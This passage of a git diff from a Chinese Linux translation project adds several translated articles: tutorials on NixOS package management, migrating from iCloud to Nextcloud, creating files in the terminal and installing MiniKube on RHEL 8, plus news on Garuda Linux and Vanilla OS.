`nixos.librewolf`。 + +是的,它听起来可能没有像使用 [APT][5] 或 DNF 时软件包名字那么方便。但是,我认为这并不是大问题。 + +一些妥协或许会换来一些好处? + +### 在 NixOS 中安装一个软件包 + +要安装一个软件包,你所要做的就是使用以下命令语法: + +``` +nix-env -iA [软件包名称] +``` + +而且,如果你使用网络搜索来寻找软件包,你就已经有了安装所需的确切命令。 + +所以,假设我想安装 `librewolf',我将使用以下命令: + +``` +nix-env -iA nixos.librewolf +``` + +如果你想进行全系统的安装(让每个用户都能使用这个包),用 `sudo` 执行安装命令: + +``` +sudo nix-env -iA nixos.librewolf +``` + +就是这样!你将很快安装好你喜欢的软件包。 + +### 在 NixOS 中卸载一个软件包 + +要删除一个软件包,你可以参考下面的命令语法: + +``` +nix-env --uninstall [软件包名称] +``` + +因此,如果我必须删除 `librewolf` 包,我必须使用以下命令: + +``` +nix-env --uninstall librewolf +``` + +如果你仔细注意,我使用了 `librewolf` 而不是 `nixos.librewolf` 来安装。 + +这意味着你在删除软件包时要跳过 `nixos` 部分,这使事情变得简单而快速。 + +### 在 NixOS 中安装服务 + +正如我前面提到的,你不能使用 Nix 软件包管理器来安装像 OpenSSH、Plex 服务器、[Flatpak][6] 等服务。 + +从搜索服务到安装过程,都与你上面看到的不同。 + +所以让我先说说如何 **搜索服务**。 + +- 要搜索服务,请前往 Nix 软件包搜索 [网页][2] +- 选择 “NixOS 选项NixOS options”(页面顶部菜单行的第三个选项) +- 输入你要找的服务的名称 +- 复制服务的名称 + +例如,在这里,我正在搜索 OpenSSH 服务。 + +![搜索 NixOS 中的 OpenSSH 服务][7] + +一旦你找到了这个名字,用下面的命令打开 `configuration.nix` 文件: + +``` +sudo nano /etc/nixos/configuration.nix +``` + +并在行末添加服务的名称(在 `}` 之前),如下: + +``` +[service_name] = true; +``` + +由于 **我想启用 OpenSSH**,我将添加以下内容: + +``` +services.openssh.enable = true; +``` + +![在 NixOS 上启用 OpenSSH][8] + +一旦你在配置文件中添加了服务,[保存修改并退出 Nano][9] 文本编辑器。 + +要启用该服务,请重建配置文件,并使用以下命令切换到所做的更改: + +``` +sudo nixos-rebuild switch +``` + +这就行了,你已经启用了该服务。 + +### 从 NixOS 卸载服务 + +要卸载一个服务,你所要做的就是在 `configuration.nix` 文件中删除或注释该服务的一行。 + +因此,首先,用以下命令打开配置文件: + +``` +sudo nano /etc/nixos/configuration.nix +``` + +寻找服务,并删除这一行或用 `#` 注释掉: + +![从 NixOS 删除服务][10] + +通过添加注释 `#`,我忽略了 OpenSSH 服务的加载,因为我不再需要它在我的系统上。 + +保存修改并退出文本编辑器。 + +最后,重建配置文件并进行切换: + +``` +sudo nixos-rebuild switch +``` + +### 使用 Nix 配置文件安装软件包 + +配置文件可以让你 **方便地一次性管理软件包**。 + +要使用 Nix 配置文件安装软件包,你必须在配置文件中输入软件包的名称、重建,然后切换到配置文件,就可以了。 + +首先,打开 `configuration.nix` 文件。 + +``` +sudo nano /etc/nixos/configuration.nix +``` + +如果你想 **为一个特定的登录用户安装软件包**,将软件包的名称添加到用户的配置文件中。 + +用户配置文件看起来像这样: + +``` +users.users.sagar = { + isNormalUser = true; + description = "Sagar"; + extraGroups = [ "networkmanager" "wheel" ]; + packages = with pkgs; [ + firefox + ]; + }; +``` + +当然,它将显示你的用户名而不是 `sagar`。 + +你应该使用如下语法来添加软件包的名称: + +``` +packages = with pkgs; [ + 软件包名称 + ]; +``` + +所以我们假设我也想安装 `Thunderbird`,那么我将添加它的名字,如下所示: + +![使用 Nix 配置文件在 NixOS 中安装一个包][11] + +你必须在方括号内添加所有的软件包名称,不要用逗号。它必须像截图中描述的那样一个软件一个新的行。 + +但是如果你想在整个系统中安装这个包,那么你必须在 `environment.systemPackages` 下添加包的名字,比如: + +``` +environment.systemPackages = with pkgs; [ + 软件包名称 +]; +``` + +![使用 Nix 配置文件在 NixOS 中全系统安装软件包][12] + +一旦你完成了在系统配置文件或用户配置文件,甚至两者中添加所需软件包的名称,你将需要按照同样的命令来完成安装: + +``` +sudo nixos-rebuild switch +``` + +这样就可以了! + +### 使用 Nix 配置文件删除软件包 + +要删除软件包,你所要做的就是按照给定的简单步骤进行: + +- 打开 Nix 配置文件 +- 删除或注释掉软件包的名称 +- 重新构建配置并进行切换 + +所以,让我们从第一步开始(打开配置文件): + +``` +sudo nano /etc/nixos/configuration.nix +``` + +接下来,注释掉用户配置文件或系统配置文件中的包的名称: + +![在 NixOS 上使用 Nix 配置文件删除包][13] + +保存更改并退出配置文件。 + +最后,重建配置文件,并做一个切换来删除包: + +``` +sudo nixos-rebuild switch +``` + +这是这样! + +> 📋 目前,还没有官方的 GUI 工具来帮助你安装/删除软件包。你可能会发现一些由社区开发的项目,如 [nix-gui][14] 和 [nix42b][15],但它们不再被维护或仅仅处于早期开发阶段。 + +### 接下来... + +我希望你喜欢阅读 NixOS 系列,就像我写它一样。 + +在下一篇中,我将强调一些在你安装 NixOS 后需要马上做的重要事情。 + +如果你认为我遗漏了什么或有其他建议,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/nixos-package-management/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed/ +[1]: https://linux.cn/article-15606-1.html +[2]: https://search.nixos.org/packages?ref=its-foss +[3]: https://itsfoss.com/content/images/2023/02/search-packages-for-nixos-1.png +[4]: https://itsfoss.com/content/images/2023/02/search-packages-in-nixos.png +[5]: https://itsfoss.com/apt-command-guide/ +[6]: https://itsfoss.com/what-is-flatpak/ +[7]: https://itsfoss.com/content/images/2023/02/Search-the-service-for-nixos-1.png +[8]: https://itsfoss.com/content/images/2023/02/enable-openssh-on-NixOS.png +[9]: https://linuxhandbook.com/nano-save-exit/?ref=its-foss +[10]: https://itsfoss.com/content/images/2023/02/remove-service-from-NixOS.png +[11]: https://itsfoss.com/content/images/2023/02/install-a-package-in-NixOS-using-the-Nix-config-file.png +[12]: https://itsfoss.com/content/images/2023/02/install-package-systemwide-in-NixOS-using-Nix-configuration-file-1.png +[13]: https://itsfoss.com/content/images/2023/02/remove-package-using-nix-config-file-on-NixOS.png +[14]: https://github.com/nix-gui/nix-gui?ref=its-foss +[15]: https://gitlab.com/juliendehos/nix42b?ref=its-foss +[0]: https://img.linux.net.cn/data/attachment/album/202303/21/090913cnq91ob2hn9b2qbh.jpg \ No newline at end of file diff --git a/published/20230307.1 ⭐️ Switch from iCloud to Nextcloud.md b/published/20230307.1 ⭐️ Switch from iCloud to Nextcloud.md new file mode 100644 index 0000000000..100989a093 --- /dev/null +++ b/published/20230307.1 ⭐️ Switch from iCloud to Nextcloud.md @@ -0,0 +1,95 @@ +[#]: subject: "Switch from iCloud to Nextcloud" +[#]: via: "https://opensource.com/article/23/3/switch-icloud-nextcloud" +[#]: author: "Heike Jurzik https://opensource.com/users/hej" +[#]: collector: "lkxed" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15628-1.html" + +把你的网盘从 iCloud 换成 Nextcloud +====== + +![][0] + +> Nextcloud 是你自己的开源云。这里是如何进行转换的方法。 + +如果你对把数据提交给公司控制的云服务持谨慎态度,但同时又喜欢远程存储的便利性和基于 Web 的轻松访问,那么不止你是这样。云端因其广泛的功能而广受欢迎。但是 [云端服务不一定是封闭的][1]。幸运的是,开源项目 Nextcloud 提供了个人和私有的云应用程序套件。 + +[安装][2] 和导入数据很容易 —— 包括通讯录、日历和照片。真正难办的是从 iCloud 等云提供商那里获取数据。在本文中,我将告诉你把自己的数据迁移到 Nextcloud 需要采取的步骤。 + +### 把你的数据迁移至 Nextcloud + +和在 [安卓设备][3] 上一样,首先你必须将现有数据从苹果的 iCloud 传输到 Nextcloud。然后,你可以为你的苹果设备设置两个新帐户,以完全自动同步通讯录和预约。苹果支持用于日历同步的 CalDAV 和用于通讯录同步的 CardDAV 开放协议,因此你甚至不需要安装额外的应用。 + +要导出你的通讯录,你可以在 iPhone 或者 iPad 上打开 “通讯录Contacts” 应用或在网络浏览器中登录 iCloud: + +- 选择要传输到 Nextcloud 的所有地址簿条目,然后选择 “文件File > 输出Export > 输出 vCardExport vCard” 以在本地磁盘上保存 .`vcf` 文件。 +- 将 .`vcf` 文件导入 Nextcloud。为此,请选择 “通讯录Contacts” 应用,点击左下角的 “设置Settings” 并选择 “导入通讯录Import contacts” 按钮。 在接下来的对话窗口中,点击 “选择本地文件Select local file”,然后打开之前保存的 vCard。 + +要在你的 iPhone 或 iPad 上设置 CardDAV 帐户,请转至 “设置Settings > 通讯录Contacts > 帐户Accounts > 添加帐户Add Account”: + +- 选择 “其他Other”,然后选择 “添加 CardDAV 帐户”。 在 “服务器Server” 字段中,输入 Nextcloud 的 URL(例如,`https://nextcloudpi.local`)。 下面是 Nextcloud 帐户的用户名和密码。 打开新帐户的 “高级设置Advanced Settings”。 +- 确保启用了 “使用 SSLUse SSL” 选项。帐户 URL 通常设置正确。其中包含你的 Nextcloud 的主机名和你的用户名。 + +要在 macOS 上创建用于同步地址簿的新帐户,请打开 “通讯录Contacts” 应用程序并从 “通讯录Contacts” 菜单中选择 “添加帐户Add Account”。 激活复选框 “其他通讯录账号Other Contacts Account” 并单击 “继续Continue”。你可以接受 “CardDAV” 条目。 在 “账户类型Account Type” 下拉菜单中,选择 “手动Manual” 输入。 + +![ Nextcloud 中高级设置的图片][5] + +输入你的 Nextcloud 用户名、密码和服务器地址。当前的 macOS 版本要求你在服务器地址中指定端口 443(用于 SSL)。例如,如果你的 Nextcloud 地址是 `https://nextcloudpi.local`,用户名是 `hej`,则在栏中输入以下内容: + +``` +https://nextcloudpi.local:443/remote.php/dav/principals/users/hej +``` + +### 同步你的日历 + +导出日历的方法类似,通过日历应用程序,你可以在浏览器、智能手机/平板电脑或 macOS 桌面上使用 iCloud 执行此操作。 + +首先,将日历设置为 “公共public”。 这并不意味着每个人都可以访问你的日历。它仅用于生成日历订阅的链接。将 URL 复制到剪贴板。目前还无法将日历直接导入 Nextcloud,因为你不是用一个链接,而是用 .ics 文件(iCalendar)来导入。 以下是如何从链接生成这样的文件: + +- 将链接复制到剪贴板 +- 将链接粘贴到网络浏览器的地址栏中 +- 更改 URL 的开头并将 `webcal` 替换为 `http` +- 按回车键并将 `.ics` 文件保存到你的磁盘上 + +![一张图片显示如何将 .ics 文件保存到磁盘上][8] + +现在可以导入 .ics 文件了。 先在 Nextcloud 中打开 “日历Calendar” 应用程序,单击左下方的 “日历设置Calendar settings”,然后单击 “导入日历Import calendar”。 选择你保存在文件管理器中的 `.ics` 文件。 + +对所有 iCloud 日历重复此过程。之后,就该更换旧的 iCloud 同步服务了。 + +### 同步事件 + +要与 Nextcloud 同步新事件,请在你的客户端设备(智能手机、平板电脑、台式机)上设置一个新帐户: + +- iPhone/iPad:设置Settings / 日历Calendar / 账户Accounts / 添加账户Add Account,选择 “其他Other”,然后选择 “添加 CalDAV 账户Add CalDAV Account”。 在 “服务器Server” 栏中,输入你的本地 Nextcloud URL,即 `https://nextcloudpi.local`。 你可以看到 Nextcloud 帐户的用户名和密码输入的位置。 +- macOS:打开日历应用程序并从 “日历Calendar” 菜单中选择 “添加账户Add Account”。 激活复选框 “其他 CalDAV 账户Other CalDAV Account” 并单击 “继续Continue”。 从 “账户类型Account Type” 下拉菜单中,选择 “手动Manual” 输入。 输入你的 Nextcloud 用户名和密码以及 Nextcloud 服务器地址。不要忘记在服务器地址中指定端口 443(用于 SSL); 否则帐户设置将失败。 + +**提示:** 除了你的通讯录和日历,如果你想同步其他文件,如文档、照片、视频等,你可以安装苹果应用商店中提供 Nextcloud 应用程序。 + +本文改编自 Heike Jurzik 的《[树莓派上的 Nextcloud][9]》 一书。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/switch-icloud-nextcloud + +作者:[Heike Jurzik][a] +选题:[lkxed][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hej +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/20/10/keep-cloud-open +[2]: https://opensource.com/article/21/1/nextcloud-productivity +[3]: https://opensource.com/article/23/3/switch-google-nextcloud +[4]: https://nextcloudpi.local/ +[5]: https://opensource.com/sites/default/files/2023-02/advancedSettings-Nextcloud.png +[6]: https://nextcloudpi.local +[7]: https://nextcloudpi.local:443/remote.php/dav/principals/users/hej +[8]: https://opensource.com/sites/default/files/2023-02/NextcloudSaveIcsfile.png +[9]: https://www.amazon.de/-/en/gp/product/B0BTPZH8WT/ref=dbs_a_def_rwt_bibl_vppi_i4 +[0]: https://img.linux.net.cn/data/attachment/album/202303/15/153049hmrhhbax9mmsr7h3.jpg \ No newline at end of file diff --git a/published/20230307.2 ⭐️ Terminal Basics Series 4 Creating Files in Linux.md b/published/20230307.2 ⭐️ Terminal Basics Series 4 Creating Files in Linux.md new file mode 100644 index 0000000000..a4d446a4df --- /dev/null +++ b/published/20230307.2 ⭐️ Terminal Basics Series 4 Creating Files in Linux.md @@ -0,0 +1,134 @@ +[#]: subject: "Terminal Basics Series #4: Creating Files in Linux" +[#]: via: "https://itsfoss.com/create-files/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15643-1.html" + +终端基础:在 Linux 中创建文件 +====== + +![][0] + +到目前为止,在这个终端基础系列中,你已经学会了: + +- [更改目录][1] +- [创建新目录][2] +- [列出目录内容][3] + +现在让我们学习如何在 Linux 命令行中创建文件。我将简要讨论向文件添加内容。但是,稍后将介绍有关编辑文本文件的详细信息。 + + +### 使用 touch 命令创建一个新的空文件 + +使用 `touch` 命令非常简单。 + +``` +touch filename +``` + +切换到你的主目录并创建一个名为 `practice_files` 的新目录,然后切换到该目录: + +``` +mkdir practice_files && cd practice_files +``` + +> 💡 `&&` 是一种组合两个命令的方法。只有当第一个命令执行成功时,第二个命令才会运行。 + +现在,创建一个名为 `new_file` 的新文件: + +``` +touch new_file +``` + +就是这样。你刚刚创建了一个新的空文件。 + +列出目录内容并使用 `ls -l` 命令检查文件的属性。 + +![Using touch command to create new files][4] + +> 💡 `touch` 命令的最初目的是“触摸”文件并更改其时间戳。如果提供的文件不存在,它会创建一个具有该名称的新文件。 + +### 使用 echo 命令创建一个新文件 + +很久以前我就应该向你介绍 `echo` 命令。迟到总比不到好。`echo` 命令显示你提供给它的任何内容。因此得名“回声”。 + +``` +echo Hello World +``` + +你可以使用重定向并将输出路由到文件。因此在此过程中创建一个新文件: + +``` +echo "Hello World" >> other_new_file +``` + +这样,你将创建一个名为 `other_new_file` 的新文件,其中包含文本 `Hello World`。 + +![Using echo command to create new file][5] + +请记住,如果提供的文件已经存在,使用 `>>` 重定向,你将向文件添加一个新行。你也可以使用 `>` 重定向,但它会替换文件的现有内容。 + +更多关于重定向的信息可以在下面的教程中找到。 + +> **[解释:Linux 中的输入、输出和错误重定向][7]** + +### 使用 cat 命令创建新文件 + +`cat` 命令的最初目的是连接文件。但是,它主要用于显示文件的内容。 + +它还可以使用选项创建新文件并添加内容。为此,你可以使用相同的 `>` 和 `>>` 重定向。 + +``` +cat >> another_file +``` + +但是这个将创建一个新文件并允许你向其中添加一些文本。添加文本是可选的。**你可以使用 `Ctrl+d` 键退出 `cat` 输入模式。** + +![Using cat command to create new file][6] + +同样,附加模式 `>>` 在文件内容的末尾添加新文本,而覆盖模式 `>` 用新内容替换现有内容。 + +> 🖥️ 使用 `ls -l` 长列表显示并注意时间戳。现在 `touch` 文件: + +``` +touch other_new_file +``` + +你看到时间戳的区别了吗? + +### 测试你的知识 + +你已经了解了如何创建新文件。这里有一些简单的练习来练习你刚刚学到的东西。它也包括前几章的一些内容。 + +- 使用 `touch` 命令创建三个新文件,分别命名为 `file1`、`file2` 和 `file3`。提示:你不需要运行 `touch` 三次。 +- 创建一个名为 `files` 的目录,并在其中创建一个名为 `my_file` 的文件。 +- 使用 `cat` 命令创建一个名为 `your_file` 的文件,并在其中添加以下文本 “This is your file”。 +- 使用 `echo` 命令将新行 “This is our file” 添加到 `your_file`。 +- 以相反的时间顺序显示所有文件(请参阅第 3 篇)。现在使用 `touch` 命令修改 `file2` 和 `file3` 的时间戳。现在再次按时间倒序显示内容。 + +这很有趣。你正在取得很好的进步。你已在本章中学会了创建新文件。接下来,你将学习如何查看文件的内容。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/create-files/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/change-directories/ +[2]: https://itsfoss.com/make-directories/ +[3]: https://itsfoss.com/list-directory-content/ +[4]: https://itsfoss.com/content/images/2023/03/touch-example.svg +[5]: https://itsfoss.com/content/images/2023/03/echo-example.svg +[6]: https://itsfoss.com/content/images/2023/03/cat-example.svg +[7]: https://linuxhandbook.com/redirection-linux/?ref=its-foss +[0]: https://img.linux.net.cn/data/attachment/album/202303/20/161045uuejvexqrfrurkwn.jpg \ No newline at end of file diff --git a/published/20230308.0 ⭐️ Garuda Linux “Raptor” 230305 Release Drops Latte Dock, Brings Key Changes.md b/published/20230308.0 ⭐️ Garuda Linux “Raptor” 230305 Release Drops Latte Dock, Brings Key Changes.md new file mode 100644 index 0000000000..b89ea31a36 --- /dev/null +++ b/published/20230308.0 ⭐️ Garuda Linux “Raptor” 230305 Release Drops Latte Dock, Brings Key Changes.md @@ -0,0 +1,85 @@ +[#]: subject: "Garuda Linux “Raptor” 230305 Release Drops Latte Dock, Brings Key Changes" +[#]: via: "https://debugpointnews.com/garuda-linux-raptor-230305/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15615-1.html" + +Garuda Linux “Raptor” 230305 版本发布 +====== + +![][1] + +> Garuda Linux 是流行的基于 Arch Linux 的发行版,它刚刚发布了一个新的版本 “Raptor” 230305,带来了新的功能和更新。 + +![Garuda Linux Raptor 230305][2] + +Garuda Linux 是一个基于 Arch Linux 的发行版,由于其开箱即用的体验、游戏支持和用户友好界面,在 Arch Linux 爱好者中越来越受欢迎。Garuda Linux 以其对性能、速度和稳定性的关注而闻名。 + +最近,Garuda Linux 发布了一个新的版本 “Raptor” 230305,带来了新的功能和更新。在这篇文章中,我们将介绍 Garuda Linux 的最新版本的新内容。 + +### Garuda “Raptor” 230305 的新内容 + +Garuda 的主要旗舰版是 dr460nized 版,采用 KDE Plasma 桌面环境,但它用 Latte Dock、图标主题等进行了大量定制。 + +由于 Latte Dock 现在已经没有支持了,Garuda 团队完全删除了 Latte Dock,用标准的 Plasma 面板取代了它。按照该团队的说法,“由于失去了顶栏颜色/透明度等功能,在一定程度上削弱了 dr460nized 版的吸睛因素”。 + +这的确是事实。但是,没有其他停靠区软件能像 Latte Dock 一样。我的意思是,虽然有,但它们都没有接近 Latte Dock 曾经提供的功能和灵活性。但好处是,KDE Plasma 在 Garuda 中可能会变得更稳定,因为它现在使用了原生的停靠区和面板。而且它看起来也很好! + +![新的原生 KDE 面板][3] + +那么,如果你已经在运行带有 Latte Dock 的早期版本的 Garuda 呢? + +为了解决这个问题,团队调整了 “Garuda 系统维护Garuda System Maintenance” 应用程序,以检测你是否已经在运行 Latte Dock,并为你提供逐步迁移到新的面板的方法。一旦你确认从 Latte Dock 迁移,它还会备份你的配置,以防迁移过程中出现问题。这方面的更多信息可以在这个 [指南][4] 中找到。 + +除了上述变化,Garuda Linux “Raptor” 230305 还重写了设置帮助,改进了标签式界面和检测英伟达硬件的能力。 + +这个版本的一个重要更新是,Garuda 现在使用 Dracut 来创建 initramfs,而不是像包括原本的 Arch Linux 在内的大多数 Arch 发行版常见的 mkiniticpio。 + +不止如此。从这个版本开始有了一个新的 “garuda” 软件库,它是为 Garuda Linux 专属的软件包创建的,并从当前的 Chaotic-AUR 软件库中移出。这是最大的变化之一,它通过 “garuda-update” 自动处理的。可以在 [这里][5] 了解更多。 + +![当前的 pacman 软件库顺序][6] + +在核心部分,这个版本带有最新的 [KDE Plasma 5.27.2][7] 桌面和 Linux 内核 6.2.2。所以,由于滚动发布,你可以得到所有最新的软件包。 + +如果你想探索更多的更新,你可以 [在此][8] 阅读整个更新日志。 + +要下载它,请访问以下页面并选择你要下载的变体: + +> [下载 Garuda Linux][9] + +如果你已经在运行 Garuda Linux,那么从欢迎程序中启动 Gaurda 帮助Gaurda Assistance,并点击 “系统更新system update”。 + +### 总结 + +这是一个重要的 Garuda 版本,涉及到其旗舰 KDE 版的所有主要组件。对 pacman 偏好和 Dracut 的核心更新更是影响了所有的版本。 + +然而,所有的变化都是为了使它成为一个比以前更稳定的系统。我希望它能继续带来这样的更新,成为最好的 Arch Linux 发行版之一。 + +参考自 [发布公告][10]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/garuda-linux-raptor-230305/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/03/garuda-head.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2023/03/Garuda-Linux-22Raptor22-230305.jpg +[3]: https://debugpointnews.com/wp-content/uploads/2023/03/New-native-KDE-panel.jpg +[4]: https://wiki.garudalinux.org/en/dr460nized-migration +[5]: https://forum.garudalinux.org/t/separating-garuda-packages-from-chaotic-aur/20506 +[6]: https://debugpointnews.com/wp-content/uploads/2023/03/Current-pacman-repo-order.jpg +[7]: https://debugpointnews.com/kde-plasma-5-27-release/ +[8]: https://forum.garudalinux.org/t/garuda-linux-raptor-230305/26929#you-want-to-read-the-exhaustive-changelog-sure-it-can-be-found-below-as-usual-laughing-10 +[9]: https://garudalinux.org/downloads.html +[10]: https://forum.garudalinux.org/t/garuda-linux-raptor-230305/26929 \ No newline at end of file diff --git a/published/20230308.1 ⭐️ Vanilla OS Drops Ubuntu, Welcomes Debian Sid.md b/published/20230308.1 ⭐️ Vanilla OS Drops Ubuntu, Welcomes Debian Sid.md new file mode 100644 index 0000000000..6cdb49ec0e --- /dev/null +++ b/published/20230308.1 ⭐️ Vanilla OS Drops Ubuntu, Welcomes Debian Sid.md @@ -0,0 +1,65 @@ +[#]: subject: "Vanilla OS Drops Ubuntu, Welcomes Debian Sid" +[#]: via: "https://debugpointnews.com/vanilla-os-debian/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15612-1.html" + +Vanilla OS 放弃 Ubuntu,转投 Debian Sid +====== + +![][1] + +> 即将推出的 Vanilla OS 2.0 “Orchid” 将基于 Debian Sid 而不是 Ubuntu Linux。 + +来自 Ubuntu 的 [Flatpak 决定][1a] 的余震仍在继续!Vanilla OS 团队宣布,Vanilla OS 的下一个版本将不再基于 Ubuntu。它将基于 Debian Sid,这是 Debian Linux 的 “滚动” 版本,或者说 “不稳定” 版本。 + +> 如果你不知道,Vanilla OS 是一个新的不可变 Linux 发行版,它首次发布于去年。它的目标是提供 GNOME 桌面的 “原味” 体验。它有一套独特的工具,如 apx 软件包管理器、ABRoot 技术、原装 GNOME 体验等等。它基于标准的 Ubuntu 发布周期和版本进行发布。 + +![Vanilla OS 22.10 Kinetic 桌面][2] + +### Vanilla OS 计划基于 Debian + +由于这些重大变化,Vanilla OS 的下一个版本将被命名为 “2.0” “兰花Orchid”。但为什么要远离 Ubuntu 呢? + +正如该团队所说,花了更多的困难和精力 **“来恢复 Canonical 武断的工作流程”**,这需要更多的开发时间。另外,Ubuntu 提供的 GNOME 是根据 Canonical 的需求和愿景定制的。所以,没有太多的 “原味” 体验。 + +第二个原因是处理 Snap 的问题。经过几次测试和社区反馈,团队认为目前的 Snap 并不适合 Vanilla OS 的使用情况。例如,“启动慢、集中化” 的问题在 Snap 核心里没有得到解决,而且 Snap 不能在 Vanilla OS 的 apx 容器内运行。 + +### 发布模式 + +此外,脱离 Ubuntu 的基础会带来一个更灵活的发布周期,将不需要遵循每年两个版本的周期。这给了小型 FOSS 开发者和贡献者团队一些喘息的空间。 + +但是未来的发布模式是什么呢?团队将遵循一种临时性的发布方式,用著名的术语来说就是 —— “当需要或准备好时就会发布”。例如,如果某个 Debian Sid 软件包得到一个关键的 CVE 修复,那么你可能会立即得到一个 Vanilla OS 的小版本。所以,这要视情况而定,应该以需求为基础。 + +此外,该团队还计划减少 ISO 文件中的软件包数量,以减少软件包 “不稳定” 因素的风险。但根据我使用 Debian Sid 的经验,如果你遵循适当的更新并谨慎行事,它可以视作一个 “稳定” 的发行版。 + +另外,其他变化还有对 ABRoot 的 OCI 更新,以加强对更新的控制。在设置中的一个新的快速的高级选项是即将发布的版本中值得注意的内容。 + +在核心方面,基于 Debian Sid 软件包情况,新版本计划采用 GNOME 44 和主线内核 6+。 + +### 结论 + +总之,基于 Debian 的确是一个大的进步。虽然它确实在发布周期上提供了更多的灵活性,但在向用户提供稳定版之前,它也会对 Sid 软件包进行更仔细的测试。总的来说,在我们等待 Vanilla OS 2.0 “Orchid” 的测试版本时,未来的时间是令人期待的。 + +参考自 [公告][3]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/vanilla-os-debian/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/vanilla-os-logo.jpg +[1a]: https://linux.cn/article-15570-1.html +[2]: https://debugpointnews.com/wp-content/uploads/2022/12/Vanilla-OS-22.10-22Kinetic22-Desktop.jpg +[3]: https://vanillaos.org/2023/03/07/vanilla-os-2.0-orchid-initial-work.html \ No newline at end of file diff --git a/published/20230308.2 ⭐️⭐️ How to Install MiniKube on RHEL 8Rocky Linux 8AlmaLinux 8.md b/published/20230308.2 ⭐️⭐️ How to Install MiniKube on RHEL 8Rocky Linux 8AlmaLinux 8.md new file mode 100644 index 0000000000..6c7ff187f7 --- /dev/null +++ b/published/20230308.2 ⭐️⭐️ How to Install MiniKube on RHEL 8Rocky Linux 8AlmaLinux 8.md @@ -0,0 +1,232 @@ +[#]: subject: "How to Install MiniKube on RHEL 8/Rocky Linux 8/AlmaLinux 8" +[#]: via: "https://www.linuxtechi.com/install-minikube-on-rhel-rockylinux-almalinux/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15630-1.html" + +如何在 RHEL 8 上安装 MiniKube +====== + +![][0] + +> 在这篇文章中,我们将逐步介绍如何在 RHEL 8、Rocky Linux 8 或 AlmaLinux 8 上安装 MiniKube。 + +MiniKube 是一个跨平台的开源工具,可以让你在本地机器上部署单节点 Kubernetes 集群。 + +Kubernetes,也被称为 k8s,或简称 Kube,是一个开源的容器编排平台,用于容器的自动化扩展和部署。MiniKube 集群帮助开发人员和管理员在集群中构建他们的测试环境。 + +##### MiniKube 的先决条件 + +- 最小化安装的 RHEL 8 或 Rocky Linux 8 或 AlmaLinux 8 +- 本地配置的 RHEL 8 仓库或订阅 +- 至少 2GB RAM 和 2 个 vCPU +- 20GB 硬盘空间 +- 具有管理员身份的 sudo 用户 +- 稳定的互联网连接 +- Docker 或虚拟机管理器,如 VirtualBox、KVM 和 VMware 等 + +在这篇文章中,我们将使用 Docker 作为 MiniKube 的驱动程序。满足所有先决条件后,现在是时候卷起袖子动手了。 + +### 步骤 1)启用官方 Docker 仓库 + +要启用 Docker 官方仓库,运行: + +``` +$ sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo +$ sudo dnf repolist +``` + +![][1] + +### 步骤 2)安装 Docker CE(社区版) + +运行以下 `dnf` 命令来安装 Docker 及其依赖项: + +``` +$ sudo dnf install docker-ce docker-ce-cli containerd.io -y +``` + +输出: + +![][2] + +安装 Docker 后启动并启用它的服务,运行以下 `systemctl` 命令: + +``` +$ sudo systemctl start docker +$ sudo systemctl start docker +``` + +允许你的本地用户在没有 `sudo` 的情况下运行 `docker` 命令,运行: + +``` +$ sudo usermod -aG docker $USER +$ newgrp docker +``` + +### 步骤 3)安装 kubectl 二进制文件 + +`kubectl` 是一个命令行工具,它通过 API 与 Kubernetes 集群进行交互。我们使用 `kubectl` 部署应用。默认情况下,`kubectl` 不包含在 RHEL 8 、Rocky 